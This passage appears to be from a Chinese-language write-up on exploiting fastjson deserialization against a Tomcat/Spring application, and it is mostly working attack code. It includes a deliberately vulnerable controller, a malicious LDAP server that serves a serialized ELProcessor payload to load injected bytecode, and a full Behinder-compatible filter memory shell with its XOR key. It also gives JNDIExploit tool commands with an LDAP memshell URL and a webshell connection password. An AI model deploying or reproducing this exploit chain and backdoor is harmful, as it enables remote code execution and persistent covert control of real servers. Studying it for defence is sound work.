<artifactId>spring-boot-starter-tomcat</artifactId>
<version>2.6.7</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<version>2.6.7</version>
<scope>test</scope>
</dependency>
</dependencies>
package com.example.fastjsondemo;
import com.alibaba.fastjson.JSON;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController {
@ResponseBody
@RequestMapping(value = "/index", method = RequestMethod.POST)
public Object hello(@RequestParam("code")String code) throws Exception {
System.out.println(code);
Object object = JSON.parse(code);
return code + "->JSON.parseObject()->" + object;
}
}
ldapSever的代码如下:
package JNDI;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.util.Base64;
public class LdapServerBypass {
public static void main(String[] args) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("127.0.0.1"),
1389,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
config.addInMemoryOperationInterceptor(new LdapServerBypass.OperationInterceptor());
InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
directoryServer.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor{
private String payloadTemplate = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"{replacement}\")}";
private String payload = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('{replacement}');\nvar classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n method.setAccessible(true);\n var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n clazz.newInstance();\n;";
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
CtClass clazzz = null;
byte[] code;
String base = result.getRequest().getBaseDN();
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", (String) null, "", "", true, "org.apache.naming.factory.BeanFactory", (String) null);
ref.add(new StringRefAddr("forceString", "test=eval"));
ClassPool pool = ClassPool.getDefault();
try {
clazzz = pool.get(MemoryShell.BehinderFilter2.class.getName());
code = clazzz.toBytecode();
} catch (Exception e) {
throw new RuntimeException(e);
}
String ClassCode = Base64.getEncoder().encodeToString(code);
this.payload = this.payload.replace("{replacement}", ClassCode);
String finalPayload = this.payloadTemplate.replace("{replacement}", payload);
System.out.println(finalPayload);
ref.add(new StringRefAddr("test", finalPayload));
Entry entry = new Entry(base);
entry.addAttribute("javaClassName", "java.lang.String");
try {
entry.addAttribute("javaSerializedData", serialize(ref));
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] serialize(Object ref) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(ref);
return out.toByteArray();
}
}
}
内存马使用从线程中获取request对象再获取standardContext的方式,这里dofilter的实现在冰蝎4.0可用
package MemoryShell;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
public class BehinderFilter2 implements Filter {
static {
String filterName = "test";
org.apache.catalina.connector.Request req = null;
try {
boolean flag = false;
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
for (int i=0;i<threads.length;i++){
Thread thread = threads[i];
if (thread != null){
String threadName = thread.getName();
if (threadName.contains("Poller") && threadName.contains("http")){
Object target = getField(thread,"target");
Object global = null;
if (target instanceof Runnable){
try {
global = getField(getField(getField(target,"this$0"),"handler"),"global");
} catch (NoSuchFieldException fieldException){
fieldException.printStackTrace();
}
}
if (global != null){
List processors = (List) getField(global,"processors");
for (i=0;i<processors.size();i++){
RequestInfo requestInfo = (RequestInfo) processors.get(i);
if (requestInfo != null){
Request tempRequest = (Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
req = request;
flag = true;
break;
}
}
}
}
}
if (flag){
break;
}
}
ServletContext servletContext = null;
if (req != null) {
servletContext = req.getServletContext();
}
if (servletContext.getFilterRegistration(filterName) == null) {
StandardContext standardContext = null;
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
standardContext = (StandardContext) stdctx.get(appctx);
}
Filter evilFilter =new BehinderFilter2();
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, evilFilter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/arnold"});
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null) {
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
}
}
} catch (Exception e){
e.printStackTrace();
}
}
public static Object getField(Object obj,String fieldName) throws Exception{
Field f0 = null;
Class clas = obj.getClass();
while (clas != Object.class){
try {
f0 = clas.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e){
clas = clas.getSuperclass();
}
}
if (f0 != null){
f0.setAccessible(true);
return f0.get(obj);
}else {
throw new NoSuchFieldException(fieldName);
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{bos.toByteArray()});
}
catch (Throwable e) {
try {
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder= null;
Decoder = baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(bos.toByteArray())});
} catch (Exception ex) {
throw new RuntimeException(ex);
}
}
String key="e45e329feb5d925b";
for (int i = 0; i < decodebs.length; i++) {
decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
}
try {
Method defineClassMethod = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), decodebs, 0, decodebs.length);
cc.newInstance().equals(pageContext);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
当然更方便的办法是使用JNDIExploit-1.3这个工具
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.106.131
ldap://192.168.106.131:1389/TomcatBypass/TomcatMemshell3
冰蝎3.0可用,连接密码为ateamnb
参考
[KCon Hacking JSON](https://github.com/knownsec/KCon/blob/master/2022/Hacking JSON【KCon2022】.pdf)
Java 反序列化漏洞始末(3)— fastjson
fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路
fastjson 1.2.68 最新版本有限制 autotype bypass
Fastjson1-2-80漏洞复现
fastjson 1.2.80 漏洞分析
fastjson 1.2.80绕过简单分析
https://www.cnblogs.com/writeLessDoMore/p/6926451.html
https://xz.aliyun.com/t/7107
https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/
https://xz.aliyun.com/t/9052
https://xz.aliyun.com/t/11727
|